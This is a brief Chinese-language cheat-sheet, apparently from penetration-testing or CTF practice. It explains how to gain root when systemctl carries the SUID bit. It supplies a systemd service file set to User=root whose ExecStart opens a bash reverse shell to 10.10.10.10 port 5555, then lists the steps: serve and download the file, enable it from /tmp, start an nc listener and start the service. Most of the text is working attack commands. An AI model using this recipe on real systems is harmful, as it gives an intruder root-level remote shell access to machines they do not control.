systemctl--设置suid位如何权限提升

创建服务文件

nano root.service

文件内容

[unit] Description=root

[Service] Type=simple User=root ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/5555 0>&1'

[Install] WantedBy=multi-user.target

python3上传文件到简易服务器

wegt下载文件

切换当前目录到/tmp

cd /tmp

运行文件

systemctl enable /tmp/root.service

启动监听

nc -nlvp 5555

运行服务

systemctl start root